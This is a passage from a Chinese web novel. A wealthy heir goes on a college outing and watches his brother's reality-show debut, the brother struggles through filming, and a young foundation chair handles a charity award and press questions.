“物以类聚人以群分,你以为呢?”乔梧提醒他,“少垮脸,别人怕你是正常的。” 但想到陆应池的性子以及现场的不可控性,她的话也没说得太死:“实在觉得不好玩就来找我,我一会儿把酒店地址发给你。” 陆应池没什么情绪地嗯了一声。 挂了电话以后他忽然扭过头看着几乎把身体已经挪到了其他同学身上的费景明,目光沉沉。 费景明被盯得有点发怵,难道是刚才偷笑被发现了? 陆应池抬了抬下巴:“费景明?” “怎、怎么了?” 车上其他同学瞬间警惕起来,偷偷摸摸往后看。 这要是陆应池跟班长起了冲突,那大家一定是要帮班长的,人多力量大,应该能制住陆应池吧。 “别结巴。”陆应池手搭在前面人的椅背上,有点烦躁地歪着身体,“我想了很久,印象里的确没有你这么一个人,也没怎么过你。” 费景明立刻解释:“没有!” “那我身上是针扎你吗你躲这么远?” 天地良心,费景明指了指他那双大长腿:“你不是腿长坐着不舒服?我给你腾点地。” “……” 陆应池低头看了一眼,神情更加怪异:“那我跟你说话你抖什么?” 这个费景明就不好说了,要说害怕他那少爷不就当场发飙了? 没得到回答,陆应池黑着脸说:“既然老子没惹你,但你要是看我不顺眼呢,那就怪我太优秀,你高攀不起。” “但是!”他微微扬起语调,“你要是拿看胡卓那种逼人的眼神来看我,我一定会揍你。” 因为车里太安静,而且费景明就坐在陆应池身边,这少爷打电话也没有太避着,所以他大概听到了一些刚才的对话。 他隐隐觉得不太对劲,陆应池好像跟他们想象的不太一样。 但是显然陆应池并没有要跟他商量的意思,而是在表达自己的看法,因为这大少爷又坐回去了,还白了他一眼:“坐好,我又没交两个人的班费。” 费景明看了一眼自己的坐姿,思考了一下:“那我跟你换个位置?” 他那里靠近过道一点,好歹陆应池伸腿会舒服一点。 陆应池看了一眼,很想换,但他担心这人转头跟人说是被吓的。 “没必要。” “我有点晕车,坐窗边好一点。”费景明说。 “这是你说的啊。”陆应池为了保险,又警告道,“要是跟人说我逼你,我还得揍你。” 费景明又想笑了:“我知道了。” “那不然坐我这儿吧。”费景明旁边那人小声说,“我这儿就是过道,好伸腿。” 那个位置伸到车头都行。 陆应池实在不想在这儿憋屈几个小时,所以他干脆站起身来:“当我给你买的,你收款码给我。” “不用不用,一个位置而已。”那人立刻站起来,拿起自己的包,“您过来吧。” “别用您。”陆应池皱眉,“你们嘲讽我?” “没有没有。” 这下陆应池才跟他换了位置,终于能舒服一点了。 他搭着长腿又想到一个问题,问旁边的费景明:“那他又叫什么?” “叶梁。” “昂。”陆应池越过中间的班长,伸手到那个男生面前打了个响指,“叶梁,谢了。” “不客气。” 途经服务区,车停下来休息几分钟让大家上厕所。 陆应池懒得下车,坐在位置上打开乔梧给他的地址,看看距离什么时候能到。 然后面前就多了一瓶水,他抬起头见是费景明。 “看你没带包,请你喝水。”费景明在他身边坐下,好歹是个班长,经过最开始不熟悉的害怕后,发现陆应池没有那么可怕,所以很快就调整好了。 “今天是我态度不对,你别往心里去。” 陆应池盯着那瓶水看了两秒,接了过去。 他的圈子从来没有请喝水这一说,一般都是请你喝酒请你挥霍,一张卡甩过来该怎么花怎么花。 他打开水咕咕喝了两口。 见状费景明才说:“我们对你没有恶意,就是可能有点不熟悉,以前军训不认识的时候也这样。” 陆应池没参与军训,他在自家医院里开了个证明后连面都没露过。 他扫了眼车外面那些一下去就跟接了封印的同学,又指了指自己:“他们是因为我在车上才不敢说话的?” “咳。”费景明挠挠脑袋,“一部分原因,但也应该不是全部。” “那就是了。”陆应池很想不明白,他又不是夜叉,也没把人怎么样就吓得人又是发抖又是不敢出声的。 “让他们说。”他恶狠狠道,“不说我揍他们。” 费景明:“……” 虽然话说得有点糙,但费景明大概知道陆应池是什么意思了。 所以当所有人都上车以后,他给班里的团支书发了条消息,然后站起身来拍拍手掌:“同学们,今天是咱们进 入大学以后第一次集体出游,以后可能就没这个机会了,所以大家都不要拘束,怎么开心怎么玩!” “按照咱们之前的活动策划,团支书特意去租了活动中心的音响过来,去景点的路上,表演的人都能参与抽取奖品盲盒,都积极踊跃参加啊!我来给你们打个头!” 陆应池目瞪口呆地看着放在前面的那个音响,秋游是这么玩的? 好土啊。 而且费景明的确对他自己太有信心了,歌声真的很难听。 但为了那瓶水,他忍了。 这种活动对于每个人来说都有点土,但因为大家都是第一次出来,也是第一次有这种经历,谁都有参与乐呵乐呵的心思。 再者原本因为害怕陆应池车上氛围一直都压抑着,现在有人开了这个口,而且后面的陆应池似乎也没说什么,这就让所有人胆子都大了起来,开始试着参与。 团支书小小一个姑娘,背着一大个书包,里面满满当当都是用礼品纸包装好的盲盒,有人表演她就递一个。 陆应池看着费景明三两下就把手里的盲盒拆了,是个挺可爱的小手办。 这种手办他房间里有的是,还有限量款。 注意到他的视线,费景明扭头问:“你要不要试试?” “不。” 丢人。 “说不准你试了以后,大家就不会那么怕你了。” 陆应池目露怀疑。 费景明抓紧时机:“我让团支书把话筒给你。” 没等陆应池反应过来,那话筒已经到了他手上,车上瞬间又安静了。 他捏着话筒有那么一瞬间很想把这玩意怼到费景明身上。 偏偏费景明还很热心地问他:“我连了蓝牙,你要伴奏吗!” 陆应池原地思考了两秒钟,干脆拿着话筒站起身走到车前去,拿起旁边他们放伴奏的手机,随便点了几下,但是没有播放,而是扫了一眼所有人,然后说:“我就一句话,我跟胡卓不是一路人,别瞎盖帽。” 没人敢吭声,但陆应池的伴奏声已经响起来了。 作为这么多年一直都游戏人间的四少爷,唱首歌都不是难事儿。 他随便跟着唱了一段,算是还了费景明那瓶水的面子,然后就把伴奏给掐了。 妈的,跟在酒吧KTV不一样,有种像是被围观的猴的感觉。 他又不是陆尽之。 才把话筒塞到费景明怀里,底下就有人开始拍起了手。 “陆应池,你唱歌这么好听啊!”费景明呆滞地说。 底下不知道谁喊了一句:“再来一首!” 紧接着其他同学也跟着起哄。 跟以前那些狐朋狗友不一样,这次这些人的确是含着热闹真心实意的欢呼声。 团支书飞快把一个盲盒塞到他手里,脸激动得都红了:“陆应池,你太厉害了吧!简直是专业歌手!” 陆应池愣了一下。 别人夸他厉害是要他买单,现在有人夸他厉害是要给他奖品。 他将手里的小盲盒转了转,忽然理解到变形记的乐趣了。 “知道陆宣吗?”他问。 “啊?”其他人有些茫然。 倒是有个人忽然举起手机,指了指屏幕:“你说的不会是这两天演员训练营里官宣的这个很帅的学员吧?” 陆应池眯着眼看了下。 原来这个节目开始播了啊,乔梧还跟着去拍了,他到要去看看陆宣能演出什么屎来。 “就是他。”陆应池傲慢地说,“我要是出道,就没他什么事了。” 大家纷纷凑过去想看一看那个学员是什么样子,却忽然发现陆应池跟这个陆宣长得莫名有那么几分相似。 可能是看到陆应池也跟普通人一样上去表演了,大家对他没有那么深的距离感,本来就是清澈的大学生,哪里会有多远多深的隔阂。 所以有人好奇地问:“你们是什么关系呀?” 换做是普通人问这种问题就实在是冒昧了,但这是陆应池。 别说跟一个小演员有关系了,就是跟顶流是兄弟他们都信。 陆应池靠在旁边那个同学的椅背上,一边拆着盲盒,一边说:“血缘上来说,他比我老五岁。” “……” 神他妈老五岁,人家也才23! 等会儿,所以陆宣是陆应池他哥?! “生物学上来说。”陆应池笑得十分恶劣,“他是一条傻狗。” 又补充:“他演得很垃圾,千万不要给他投票。” 那个同学小声辩解:“其实我觉得,预告片里看着他演得还行。” “不可能。”陆应池毫不犹豫,“你们没看过他演的电视剧?那我一会儿发班级群里,你们都看一下。” 不是,你们真是血缘上的亲兄弟吗? 盲盒已经拆完了,是一个狗狗挂坠。 但陆应池从来不带包,身上常年就一把车钥匙。 他盯着挂坠看了几秒,塞进兜里,打算见到乔梧就给她,她现在常常出门工作,可以挂在包上。 想到这儿,他又低头给乔梧发了条消息。 “我在参加变形记,晚点再去找你。” 刚吃完饭的乔梧看见这条消息后没忍住笑了。 已经开始工作的郭力言见状问:“怎么了?” 他很少看到乔梧笑得这么柔软亲和,整个人都想被覆盖上了一层温和的滤镜。 “陆应池。”乔梧笑道,“跟同学去秋游了,还拿了个奖品。” 郭力言其实挺好奇的,明明之前乔梧说是陆家的管家,可她跟陆家的人相处起来却一点都没有上级下级的意思。 陆应池出去玩还会给她打电话给她分享,怎么看都像是报备。 “乔理事长跟陆应池认识多久了?”他问。 乔梧:“十八年。” 郭力言刹时一惊。 那岂不是陆应池出生就在一起了? “待会儿你给他订个房间。”乔梧说,“他应该晚上会过来。” “不是在秋游吗?” “他呆不住。” 学校秋游用的是班费,不会给他们订行政套房,而且陆应池精力旺盛,知道她在这儿,等大家都休息了他一定会迫不及待来找她分享,第二天再早早回去。 郭力言点头:“好的。” 听到乔梧声音里的纵容,这瞬间他忽然挺羡慕陆应池的。 两人走出餐厅,迎面撞上一个熟悉的人。 来人看到乔梧后愣了一下,随后停下脚步,轻敛着眉喊了声:“姐。” 乔梧轻轻挑眉。 上一次跟钟闵见面的时候没说上几句话,这段时间他变化还挺大的,还会叫她姐了。 她问:“你一个人?” “她最近在调身体,不能太奔波。” “好。”乔梧侧了侧身,“用餐愉快。” 但钟闵并没有走,他这次是一个人来参加慈善论坛,也算是第一次个人参与公司的活动,后续也会留在这里几天跟进公益项目,他初进公司,也需要对外立好自己的公众形象。 来之前他姐说,这次陆氏是乔梧出席,现在的乔梧是陆氏基金的理事长。 明明相差不了几岁,但乔梧看起来就是比他更加从容镇定。 钟闵的手在身侧轻轻摩挲了下,忽然伸出来:“请多指教。” 乔梧笑笑,跟他握了手:“下午见。” 另一边的陆应池回到座位上后,想到同学们说陆宣的节目播了,飞速打开了那个视频软件。 的确是个有热度的节目,开屏就是节目广告,陆宣的脸明晃晃地映在中间,比起其他那些人来说,长得勉强还行,依稀继承了他的几分风姿。 陆应池先给陆柠发了个链接过去:“作业暂停,来看笑话。” 今天周末,陆柠正好待在家里无聊,飞快给他回了个OK的表情。 “我还没遇到过同学的哥哥是明星呢。”旁边的同学说,“等我也充个会员看看。” 陆应池拦住了他的动作,将自己的手机递过去:“看吧。” 同学茫然:“啊?” 陆应池十分客观:“他的演技不值25。” “……” 主要是陆应池觉得极大可能陆宣待不满一个月就会回来了,这不浪费人家的会员么? 先导片很短,只是对于每一个学员的简单介绍,节目组很会造势,知道谁有话题度谁有流量,所以会把镜头偏向那个人多一点,没多久就在先导片里看到了陆宣。 陆应池特意打开了弹幕。 【这帅哥谁?长得这么牛逼?!】 呵,没眼光。 【演技好不好我还分辨不出来吗?就投他!】 颜狗,肤浅! 【都醒醒 ,陆宣还有人不知道?陆氏集团三公子,演技又拉又耍大牌,人品不行,别被他的脸骗了。】 陆应池微微眯眼。 【都去搜搜,好多黑料,咖位不大腕挺大,仗着有钱有势不做人富二代,听说还包养小明星呢。】 【来给自己镀金的吧,一看就有内幕,没看到他那些资料什么作品都没有?】 弹幕在这里明显变多,说什么的都有。 叶梁见陆应池脸色不太好:“都是些黑粉,不管三七二十一什么都能黑,别管这个。” “陆宣混的就是这么个圈?”陆应池心烦地把弹幕关了,“骂陆宣演技差就算了,那些都是什么乱七八糟的。” 他皱眉澄清:“陆宣没有包养明星,他到现在都还是个处男!他那个人很自恋,长得没他好看的人他是不放在眼里的。” 叶梁:“……?” 隔了会儿,陆应池又说:“耍什么大牌,他本来就是大牌,这还用耍?” “也不是没有作品,我发班级群里那个,他的电视剧,你们可以看看。” 叶梁心道:刚才骂自己哥哥是狗的人到底是谁?还说人家不值25。 弹幕关掉以后,屏幕就变干净了。 视频上播放完学员资料后播放的是亲友采访。 叶梁视线瞬间就被那张光下美得不太真实的脸夺去了所有注意力,喃喃问:“这也是你家的人吗?你姐?” “不是。”陆应池扫了眼屏幕,耐着性子看下去了,又改口,“是我家的人。” 然后狠狠脱陆宣的底裤。 “但其实她跟陆宣关系很一般。”他说,“去节目完全是因为陆宣给了她钱,一张卡呢,买她四天。” 叶梁:“这也是可以跟我说的吗?” “有什么不能说的?他敢当着我的面做还怕老子说?”陆应池并不在意,还很较真,“她跟我关系更好一点,我晚上要去找她的你知道吧?刚才还给我发地址了。” “是是是。” 紧接着画面里出现副导演的声音:“那你们是青梅竹马了,你觉得他是什么样的人?” 青梅竹马? 胡说八道什么? 这导演是不是语文没学好,青梅竹马是这么用的? “他啊,是个笨拙的人,笨拙到单纯。” 陆应池表情有点扭曲。 “因为钱吧。”他说,“这是给陆宣留面子,陆宣单纯?他单纯蠢而已。” 叶梁:“唔。” 屏幕上的乔梧温柔含笑:“我对他永远有偏向。” 这次不用陆应池说,叶梁看到捏手机那只手上的青筋已经察觉到火药味了,他抢先一步:“因为钱而已,你晚上还要去找她的对吧?” 陆应池满脑袋都是“偏向”两个字。 永远偏向谁? 狗东西陆宣,他也配?!! 第45章 第四十五章乔理事长 “谁要找她。”陆应池将手机直接塞到了叶梁手里,“要看你看。” 看来就来气。 叶梁:“……” 他低头看了一眼画面上的人,想不通明明陆应池就是来看陆宣演戏的,怎么会被另外一个人搞破防呢。 这是他家的人,却又不是他姐姐。 听他说话的意思也不是他女朋友,那到底是何方神圣一句话就把陆少爷给搞破防了? 此时的陆宅,陆江也记得节目播出的时间,到点就在书房里打开了网页。 跟他想的一样,老三吃不了什么苦,哪怕是节目的采访里他都住在套房里,这还能指望他干什么? 弹幕上那些话刺眼得让人几乎看不下去,离家出走那么久,在娱乐圈里待了一年带来的就是这么个结果,乔梧还说他有恒心,有个屁的恒心。 也就是从小跟他一起长大的乔梧才觉得他笨拙。 就在陆江要看不下去关掉节目视频的时候,画面转到了车里,乔梧送他去演播厅。 “在节目里里没有任何特权,你能坚持下来吗?” “坚持不下来我跟你姓。” 陆江有些意外。 他终于看到了乔梧是怎么跟几个儿子说话相处的,虽然有些哄孩子的味道,但每一句话都恰好说在了合适的点,能在那一刻让他们明白事情的重要性。 先导片很短,只留在了最后这一句话上。 紧接着就是第一期的预告,短短的几秒时间内是陆宣坐在沙发上的侧脸。 不得不说,陆江在这一刻的确看到了他身上有了一点点演员的影子,听说在公司里老实上了很久的课。 那他勉强还能等着看下去。 只要下次回来不要说自己叫乔宣就行。 他这个蠢货儿子肯定做得出来。 陆江看了会儿,给谢意打了个电话:“陆宣那个节目的观众都是什么成分?什么话都往外说?” 虽然在公司退休,但依旧还是陆江秘书的谢意沉默两秒:“老先生,这种成分在娱乐圈里被叫做黑粉,就是专门说某个明星坏话的。” “我的儿子什么时候也轮得到外人来批评了?” 陆江皱眉,“想想办法。” “是这样的。”谢意有点为难,“乔小姐特意嘱咐过我们,如果不是特殊情况不能插手三少爷的工作。” 陆宣在圈子里一向都很高调,有心人只要随便搜一搜就知道他是陆氏的三少爷,这样陆江不是很舒服:“任凭这些人骂?” “目前是的。”谢意说,“乔小姐说这是三少爷的必经之路,要长久走下去这一关要先过,这点压力还不算什么。” 陆江彻底哑火了。 挂掉电话后他忽然又倒退回到乔梧采访的那一段。 他错了,乔梧并不是单纯哄着这几个逆子。 带着陆应池去喝酒飙车是因为她在场,她能控制局面缓和他的情绪;而说偏向老三,行为上却没有任何手软,该给的压力还是要给。 他没记错的话,当初也没让乔梧去培训幼师啊。 另一头演员训练营节目组。 经纪人孟星星终于抽出了一点时间过来看陆宣,趁着录制休息的时间挤进去,在看到陆宣现在的情况时心里一个咯噔。 “哥,你没事吧?” 虽然他比陆宣要大很多,但这少爷地位摆在这儿,喊一声哥也不亏。 此时的陆宣穿着姜奇组的戏服,整个人像是从煤窑里走出来的一样,但是姜奇这个人很擅长捕捉别人的优点,身上虽然脏,陆宣脸上的妆依旧画得很有艺术感,有种废土风凌乱美。 孟星星就是觉得陆宣好像瘦了一大头,明明才来这个节目一个多星期,眼神都变了,看起来有点颓。 陆宣懒懒散散靠着墙在一张小凳子上坐下,微微垂着头理整理头发,本身这个造型他就觉得很丑很脏。 但姜奇非要他穿成这样,他已经快没什么耐心了,每天说话都夹枪带棍的。 乔梧走了的第二天,他的套房就被水灵灵的没收了,直接被酒店经理赶回了原来的大床房。 想都不用想,这踏马一定是陆尽之干的。 但他才答应了乔梧要坚持下去,总不能第二天就打退堂鼓,整天吃不好睡不好,硬生生熬到了现在,他觉得自己已经要成仙了。 而且姜奇就还是个事逼,哪里不对劈头盖脸就是一顿骂,他真的忍这个人很久了。 孟星星见他死死盯着人家姜奇老师,恨不得从对方身上咬下一块肉,忙道:“乔小姐让我来看看你。” 陆宣顿了顿:“乔梧?” 录制期间手机会被没收,只有回到酒店才能用一用,但他最近基本都是凌晨才结束拍摄,那个点谁也联系不上,这才是最让人崩溃的。 “今天节目先导片播出了。”孟星星说,“想知道效果怎么样吗?” “不想。” 一个先导片而已,那些人除了会被他的美貌迷倒还能说什么。 孟星星安抚:“不想好,不少人都在骂你。” 陆宣满是郁气的眸抬起来,凉声说:“你觉得自己很会说话?” “骂我干什么?”他轻嗤,“长得帅犯法了?” “都是些黑粉,不要在意。”孟星星说,“无非就是说你有钱耍大牌,没实力私生活还混乱一类的。” 陆宣不知道这人是真的没情商还是还是怎么,愣是被气过头了:“谢谢,现在没看我也知道内容了。” “不客气。”孟星星说,“这也是乔小姐让我说的。” 陆宣嘲讽道:“她没你这种口才。” “真的。”孟星星说,“她说你节目结束以后一定会打这些人的脸。” 结束? 陆宣觉得自己今天就会忍不住掀桌子走人了。 那天乔梧跟他说,在这个节目里他会吃到以前从没吃过的苦,经历没经历过的事,当时他还不以为意,现在却觉得真的要疯了。 孟星星把一直抱着的盒子递给他:“你看,我特意跑你家去给你拿的。” 盖子一打开,陆家那些高级甜品师做出来的糕点香味就铺开来了。 陆宣愣了愣,当初乔梧就是用这招哄他回陆宅的。 现在还有这招! 嘴上说着她长大了,结果现在还是用小时候的方法来哄人。 幼稚。 他移开视线:“我手脏。” “我喂你,我洗了手的。” 孟星星小心翼翼用配套叉子把点心叉到陆宣嘴边。 这少爷虽然脸上看不出什么不怎么在意,可身体却很诚实,就着他的手给吃了。 孟星星来这儿之前忐忑的心忽然就落了下来。 接手陆宣后他一直有些担心自己拿不住这个少爷,虽然他平时在公司上课,但除此之外很少跟其他人有沟通,脾气还是那么个脾气。 现在看来乔小姐说得没错,他的确挺好哄的。 录节目的时候组里都是一起吃节目组盒饭的,糕点的香味一散发出去就有狗脾气循着味道过来了。 “什么味道?”姜奇还没有意识到某个人一直想要刀了他,看到点心就两眼冒光,“陆宣,也给我一块!” 还没走近就被陆宣那脏兮兮的手给拦住了。 陆宣长腿往上一抬,抵住对面的墙,直接挡住他的去路,挑着眉:“我的。” 姜奇想要跨过去,奈何年纪大了,根本没有这小年轻的柔软度:“一块点心而已,你不怕我给你小鞋穿!” “现在穿得少了?” 陆宣勾勾手指:“接着喂。” 姜奇:“你不能吃太多!要控糖!” “姜老师,这是专门做的,没有太多糖分。”孟星星小声说,“也是乔小姐嘱咐你们家厨师做的。” “嗯。” 压抑了好多天的情绪在这一刻忽然好了很多,陆宣洋洋得意。 然后又听孟星星说:“乔小姐也准备了给其他人的,哥你先拿着,我去给他们拿过来。” 陆宣:“?” 然后他就看到孟星星身后跟着两个助理,一人抱着一大个盒子匆匆走过来,其中一盒小点心递给了姜奇:“姜老师,这是我们陆哥家里厨师做的,这段时间辛苦你们了。” 姜奇脸上终于露出笑容,抱着盒子在陆宣身边坐下:“这才对。” 陆宣皱眉。 助理他都没有,现在居然还带了两个,把他家厨师做的东西分给骂他的人。 离谱。 “离我远点。”陆宣不悦。 “你哪里来的那么多毛病?” “脏死了。” 姜奇抽了他肩膀一下,吃着点心说话也多了,也没之前那么凶:“这就脏了?我还在你脸上留白了呢,我们这还是自己搭的景,以后你要是去山里水里风里雨里拍,那更脏,干这行别怕委屈别怕累,如果怕了趁早放弃知道吗?我工作的时候要求是高了一点,但出来的作品也是对你们负责。” 在圈里工作这么多年,演了这么多角色,姜奇还能看不出来这小子每天越来越沉闷,越来越生气么,陆宣本来就不是个会隐藏自己情绪的人。 但是他从来不会惯着谁,既然选择了就要承受这份苦,吃不了就别干了,有的是人需要这个机会,哪怕你再是哪个有钱人家的少爷呢。 但现在吃人嘴短,多说几句也不会少块肉,谁都是年轻人走过来的。 “别整天拉着个脸,你要是觉得苦那就越来越苦。”姜奇说,“那天在台上的状态就挺不错的,不是挺自信的么,还知道给自己找落差。” 他说的是陆宣把自己演技很差的那一段放出来,结果表演让人惊讶的事。 陆宣没所谓道:“艺人总监让说的。” 姜奇:“……你是真不知道有机位在拍素材啊。” “那咋了。”陆宣臭着脸,“没做的都能被网上说得昏天黑地,说了的我还怕别人拍?” 这话说得实在嚣张,一时之间姜奇还真分不清这是他公司给的人设还是他自己的本性,还挺好玩的,直率。 “其实……”孟星星在一旁道,“那话不是余总监说的,是乔小姐说的。” “乔小姐?”姜奇对这个人有印象,“你那个长得很漂亮的朋友。” 陆宣倏忽转过头:“你说什么?” “哥你不知道吗?”孟星星说,“你每天的行程我都会发给乔小姐一份,如果公司有什么工作安排她会提前跟我们开会商量,她觉得合适了我们才会给你,这次你来这个节目也是她提的。” “所以公司对你的一些安排,都是她的主意。” 陆宣不知道,他怎么可能知道,这些话乔梧从来都不会跟他说。 “那看来这位乔小姐的确是你很好的朋友啊。”姜奇语气艳羡,“我都没有朋友这样。” 罕见的,陆宣并没有说话。 他看着怀里那份糕点,又看了看姜奇那一份。 跟他是不同的口味,只有他这个是专门为他做的,她知道他的喜好。 这一整个组,五个学员加上工作人员,每个人都分到了点心,还会遥遥跟他说一句“谢谢陆老师”。 她是有三头六臂吗,整天那么忙还能干这些事。 他没管自己的手有多脏,拿起叉子继续吃剩下的东西,有些含糊地问:“那些人骂她了没?” “哪些?”孟星星想了一下,“你说那些黑子吗?没有,大多都是夸她长得好看,但是眼瞎了。” 眼瞎了才会觉得陆宣那样的纨绔笨拙,才会相信他能成功。 当然也有人猜测这两人会不会是情侣关系,但孟星星没说,这种话题比较敏感,说出来被有心人听到又要编排。 陆宣将东西全都吃完,把空盒子塞进孟星星怀里:“到底是谁眼瞎。” “回去吧,不用来看我。”他说,“我会待到最后一天。” 孟星星忙点头:“好的!” “吃完了没。”陆宣站在姜奇面前,“上班了。” 姜奇乐了:“现在又不觉得我骂你了?” 陆少爷双手插兜,几秒后没什么情绪地嗯了 声。 骂吧,又不会少块肉。 别骂她就行。 他是没什么追求,也不想受委屈。 但他不想输,因为她这么努力,不想让她受委屈。 看着陆宣和姜奇离开的背影,孟星星惊觉陆宣身上那股颓意几乎已经不见了。 他不禁想,乔小姐真是料事如神。 提前说过让他在这个时间点一定来看陆宣一次,刚才看到陆宣的第一眼,他都担心陆宣会直接跟他回去。 可几句话一盒糕点就把人哄好了- 远在苏南的乔梧收到孟星星发来的消息后,稍稍放下了心。 她相信陆宣的恒心,但这么多年来,他也是第一次没有任何背景仅仅靠着自己从底层往上爬,有点情绪很正常,花点小心思哄哄就行了。 现在慈善论坛已经接近尾声,紧接着就是酒会了,她刚想问问看陆应池今晚要不要过来参加酒会,就收到了陆应池发来的消息。 只有四个字:“我不去了。” 这不是他的风格,情绪不太对。 她问了句:“怎么了?” 怎么了?还好意思问怎么了? 陆应池愤愤打字:“你跟你的偏向过去吧!” 乔梧:“……” 他看节目了?但这是在生哪门子的气? 乔梧并不能理解他们这种小学生争宠的行为,算了,只要他能在学校那边待得住也挺好,好好体验一下。 正好到了颁奖的环节,陆氏的慈善基金会作为国内每年最大慈善项目的捐赠者,一直都拿头奖。 她将手机收起来。 另一边跟同学们走在古镇小路上的陆应池盯着手机屏幕看了半天。 不是,她就一句话没了? 她默认了?! 好样的乔梧,我也不会向你低头的! “陆应池。”费景明走到他身边,“女同学们想要去拍照,我们打算分头行动,等到了时间来集合,你跟我们一起走还是自己?” 苏南的古镇陆应池并不感兴趣,他家在苏南就有一栋宅子,是爷爷奶奶以前留下来的,里面哪里都比这里好看。 他现在极其郁闷,自己一个人都不知道要溜达到哪里去,问:“你们去哪?” 费景明跟同行的人打了个手势:“那边有条街上都是酒吧,我们去清吧里坐坐还能看夜景,消费AA,你去吗?” 乔梧说不能喝醉,但没说不能喝酒。 “行。”他点头。 顿了顿,又臭着脸说:“我只喝一点。” “放心。”费景明拍拍胸脯,“我还要保证大家都安全回到民宿。” 一行人浩浩荡荡走了。 现在并不是旅游旺季,小清吧里位置倒是多,一行人拼了好几张桌子在一起坐下,想着陆应池比较高,所以特意给他留了一个角落的位置方便他伸腿。 陆应池现在已经很自然地接受了这份好意,说什么AA,一会儿他直接买单就行。 陆少爷跟人出来玩就没听过AA这个词。 大家坐下没多久后外面又走进来另外一堆人。 “建工的。”叶梁说,“他们今天也秋游?” “没注意。”费景明往后看了一眼,“大多都是这两周,正常。” 可乐桶度数并不高,陆应池大喇喇地坐在角落里已经给自己灌了好几杯,闻言抬头:“怎么了?” “建工的。”叶梁小声解释,“以前一起打过球,闹了点不愉快。” 费景明拍了拍他的胳膊,对桌上的人道:“出来玩开心就行,都少说两句。” 其他人也是这么个意思,都没再说什么。 见状陆应池也收回了视线。 上大学后他没打过球,但高中在私立学校打过,那会儿没人敢跟他闹不愉快,但球场上的事无非也就那些,没必要太较真。 他现在较真的是另外的事情。 半个小时了,乔梧还是没理他。 这个点……是不是还在论坛上。 他想了想,又黑着脸打开了从来不看的经济频道直播,果然看到了正在直播的慈善论坛。 只是镜头太多,一直拍着舞台,他没找到乔梧在哪。 直到主持人说了句—— “下面有请我们本年度的慈善之星,陆氏慈善基金会代表上台!” 在场所有参会的人都知道陆氏最近高层大换血,年纪轻轻的陆尽之上台,这也是他回国后第一次露面,只是会场太大,谁也没见着这个人的身影。 所以这会儿一个个都忍不住往台侧看过去。 陆氏应该坐在第一排才对。 紧接着所有人便看到一道窈窕的身影站了起来,那人穿着黑色的长礼服,黑发披散,上台时轻轻提着裙摆,光看背影气质就很不一般。 台下的人鼓掌的间隙互相询问:“陆家好像没有女儿?这是谁?” “谁知道,能代表陆氏的应该也不是个简单人物,可能是某个高层。” 直到那道黑色的身影上台露出正脸,众人才露出惊讶的表情。 哪里会有这么年轻的高层,这怕是比陆尽之年纪还要小吧! 这张脸不知道的还以为是请来的哪个明星艺人过来站台演出了。 女人的黑礼服正式又矜贵,饰品都很简单,却被她戴出了不凡的味道。 在场的所有媒体镜头在这一刻全都怼到了台上那个耀眼的人身上。 有些去陆家参加过晚宴的人自然一眼就认出了这个人是谁。 那个管家? 不对吧! 手机屏幕外的陆应池目光定定地看着走向台上的人。 哪怕是那天家里的晚宴她都没有穿礼服,但是今天为了酒会穿了。 因为是慈善性质的论坛酒会,她穿的礼服也很低调素雅,可黑色的裙子衬得她更加白皙。 镜头拉近,没有戴着眼镜的她眸色更加清浅直接。 早上还在打电话温声哄着他的人,这一刻站在那么大的舞台上闪闪发光,从容镇定。 而且……遥不可及。 陆应池喉咙轻轻滚了滚。 “陆应池,你不喝吗?”费景明碰了碰他,“你在看什么?” “哦这个!”叶梁看到了他的屏幕,“跟陆宣在一起的那个漂亮姐姐!” “什么在一起?”陆应池皱眉,“陆宣是陆宣,她是她,他们没在一起,她在忙自己的事。” “噢!”叶梁羡慕道,“我真是开了眼了,参加节目的明星是你哥,参加……这是什么?慈善论坛,卧槽……这种档次的活动也是我们能看的吗?” “但是她真的好美。”费景明称赞道,“看她这种气质谈吐,一定也是很厉害的人,才能出席这种活动。” 陆应池没法反驳。 在这一刻,通过别人的镜头和别人的赞美,他终于清晰的认知道。 乔梧真的很厉害。 直播里,乔梧已经接过慈善之星的证书以及主持人递来的话筒,从容面向台下,声音沉静温和:“大家好,我是陆氏慈善基金会的理事长乔梧,很荣幸能作为陆氏的代表接过这份沉重的荣誉,在接下来的时间里,陆氏仍然会致力于开展公益事业,承担起自己的社会公益责任……” “哎哎哎!你们去哪?好久不见一起喝一杯啊!” 外面那桌的突然扬起的声音盖过了手机的音量,陆应池不悦抬头。 叶梁伸长脖子看了一眼,骂道:“是团支书她们,又踏马是那个狗比,追人不成就骚扰了是吧!” 第46章 第四十六章二更 论坛结束后就是慈善酒会,所有人都要从会场转移到楼下的宴会厅。 乔梧从台下出来时就被媒体们围住了,郭力言站在她身边护着她的安全。 记者们还以为今天能见到回国的陆尽之,没想到却是另外一个人,但可能是因为这个人的气质仪态实在太多优越,大家也没有任何失望,反而更加积极。 “乔理事长,陆氏新任总裁陆尽之回国后还未在媒体前露过面,跟陆氏慈善基金会理事长忽然悄无声息换届有什么关联吗?是集团内部出现什么不可调和的矛盾了吗?” 这也是其他人想知道的,很多参会的人都没离开,而是在外围看着乔梧采访。 被话筒围在中间的乔梧语气温和,不快不慢:“基金会执行董事依然是陆尽之陆总,我并不是很理解你们为什么要用换届的事跟他以及集团的发展挂钩,上一任理事长到了退休年龄,就这么简单而已,至于为什么要悄无声息,我想这应该跟以后要做的事没有太大关系, 因为我们只当这是一件再正常不过的事情。” “陆氏目前内外都发展得很好,多谢大家关心。”她扫过一眼就知道这些媒体想要编出什么花样来,紧接着道,“陆总工作繁忙,有机会自然会跟大家见面的。” “您看起来很年轻,有信心能带领好基金会吗?” 乔梧:“口说无凭,以后请大家多多监督。” “乔理事长,陆总上任后第一次慈善活动没有出席却是由您代表。”有个人把话筒怼到乔梧面前,“听说您才22岁就成为了陆氏基金会的理事长,你们是有什么关系吗?” 这个问题问得有些暧昧,却也是其他人很想问没能问出来的问题。 乔梧看了眼那只话筒上的媒体名字,随后笑道:“难道他不来我们就不做慈善了?我的确22岁,但是你首先质疑的不是我的能力而是我跟陆总的关系,你平时也这么问别人?在你眼里22岁就不能凭着本身优秀站到这个位置么?那建议你多扩宽自己的眼界。” 那个记者被怼得脸色涨红。 “我想大家也很关心这个问题,所以我可以清楚地回答各位,于公,陆总是我的上司我的领导,是互相扶持的工作伙伴;于私,我跟他是很好的朋友,我能站在这里是因为他相信我的能力和人品,并无其他。” 她的视线淡淡扫过一圈人,“所以今天过后,我并不希望各位写出任何关于我们关系的偏颇言论以及杜撰揣测,否则我会追究相应的责任。” “至于后续陆氏的公益项目推进,欢迎大家实时监督。” 